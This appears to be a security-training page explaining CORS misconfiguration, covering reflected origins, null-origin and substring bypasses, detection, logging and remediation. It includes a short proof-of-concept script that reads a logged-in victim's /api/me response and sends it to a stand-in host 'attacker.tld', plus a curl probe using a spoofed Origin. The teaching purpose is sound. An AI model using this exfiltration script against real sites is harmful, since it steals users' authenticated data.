Skip to content
Pwnversity
WEB-CORSintermediate · 6 min · upd. 2026-10

CORS Misconfiguration

OWASP A02:2025CWE-942

The Same-Origin Policy stops a site from reading responses from another origin. CORS (Cross-Origin Resource Sharing) is how a server relaxes that rule on purpose, saying with headers “this other origin may read me”. The bug appears when the server relaxes too much: if it reflects any Origin or trusts origins it shouldn’t and allows credentials, an attacker site reads the victim’s authenticated data.

sequenceDiagram
    participant V as Victim (logged in)
    participant E as evil.com
    participant T as Target API
    V->>E: visits evil.com
    E->>T: fetch /api/me (credentials:include, Origin: evil.com)
    T-->>E: 200 + ACAO: evil.com + victim's data
    E->>E: exfiltrates the data to the attacker

CORS doesn’t protect the server: it protects the victim’s browser from another site reading responses issued with its cookies. A lax config breaks exactly that. The lethal combination is a reflected Access-Control-Allow-Origin + Access-Control-Allow-Credentials: true: the victim’s browser, logged into the bank, lets evil.com do fetch(..., {credentials:'include'}) and read the response.

For each cross-origin request the server decides what to put in Access-Control-Allow-Origin (ACAO). Two modes are safe: a fixed trusted origin, or * without credentials (public data). The flaw is born when the server derives the ACAO from the incoming Origin without an exact check, and also enables Allow-Credentials. The invariant the attack breaks: the ACAO comes from an exact allow-list, and * and Allow-Credentials: true never coexist.

GET /api/me HTTP/1.1
Origin: https://evil.com
Cookie: session=...
HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://evil.com ← reflects the attacker Origin
Access-Control-Allow-Credentials: true ← and allows credentials
  • Direct reflection: the server returns whatever Origin it receives in the ACAO, no validation.
  • Origin: null: many backends accept and reflect it; generated from a sandbox iframe, a data: document or certain redirects.
  • Substring/prefix/suffix matching: target.com.evil.com, eviltarget.com or https://target.evil.com pass a lax check (contains/startsWith/endsWith).
  • Trusted subdomains + XSS: if *.target.com is allowed and there’s XSS on any subdomain, that trust is abused.
  • Lax protocol/port: accepting http:// or any port widens the surface.

Try different Origin values and see what the response reflects:

Ventana de terminal
curl -s -o /dev/null -D - https://target/api/me -H "Origin: https://evil.com" | grep -i access-control

Common misconfigurations, by what the ACAO returns:

  • Origin: https://evil.com → reflected as-is.
  • Origin: null → ACAO: null.
  • Origin: https://target.com.evil.com → “endsWith without a dot”.
  • Origin: https://eviltarget.com → badly checked suffix/substring.

If it reflects Origin and Allow-Credentials: true, an attacker page steals the victim’s authenticated data:

<script>
fetch("https://target/api/me", {credentials:"include"})
.then(r => r.text())
.then(d => fetch("https://attacker.tld/x?d=" + encodeURIComponent(d)));
</script>

For the null bypass, serve the response from a sandbox iframe (its Origin is null); if the backend reflects it with credentials, the same fetch works.

  1. Replay the request varying Origin and watch the ACAO and whether Allow-Credentials appears.
  2. If the ACAO reflects your origin (or null) with credentials, build the fetch PoC.
  3. Confirm you read authenticated data (e.g. /api/me of your own test session).
  4. Document the impact with a minimal PoC served from an origin you control, without touching third-party data.

Burp Suite (scanner + Repeater to vary Origin), Corsy/CORScanner (automated detection of lax configs) and the browser console to validate the real credentialed fetch.

Reading the victim’s authenticated data (profile, messages), stealing CSRF tokens or API keys the API exposes, and stealing JWT if they travel in the body. Chains with IDOR/BOLA and API security when the leaked response carries identifiers or other objects’ data.

  • Responses reflecting arbitrary Origin values in Access-Control-Allow-Origin.
  • ACAO: * alongside sensitive content, or a reflected ACAO with Allow-Credentials: true.
  • Unexpected origins in preflight (OPTIONS) logs.

Log the incoming Origin and the outgoing ACAO; alert when origins outside the allow-list are reflected, or when null appears.

  1. Strict, exact allow-list of origins (full comparison, no lax substring/regex); never reflect Origin unvalidated.
  2. Never combine ACAO: * (or arbitrary reflection) with Allow-Credentials: true.
  3. Reject Origin: null; don’t put it in the allow-list.
  4. Limit allowed methods and headers to the minimum; mind trusted subdomains (an XSS on one exposes them all).
  5. Don’t rely on CORS alone to protect sensitive data: authenticate and authorize every endpoint.

Fix the allow-list, rotate tokens/keys the API might have exposed, and review cross-origin access in the logs.

  • A heavily reported bug-bounty class — Origin reflection + credentials is among the most common on HackerOne (user data read by evil.com); usually a misconfiguration, not a specific CVE.
  • Appliance panels and APIs — lax CORS configs found recurrently in audits.
  • Multiple APIs — a history of exploitable null origin and substring matching.

PortSwigger Web Security Academy documents reproducible labs for each variant.

  • Does the response reflect an arbitrary Origin in the ACAO?
  • Allow-Credentials: true together with the reflection? (critical combination)
  • Is Origin: null accepted?
  • Is validation a weak substring/regex? (try target.com.evil.com)
  • Is *.target.com trusted with takeover-able subdomains or XSS?
  • Can /api/me be exfiltrated from a third-party page you control?
  • Does the API protect the data outside CORS too (per-endpoint authorization)?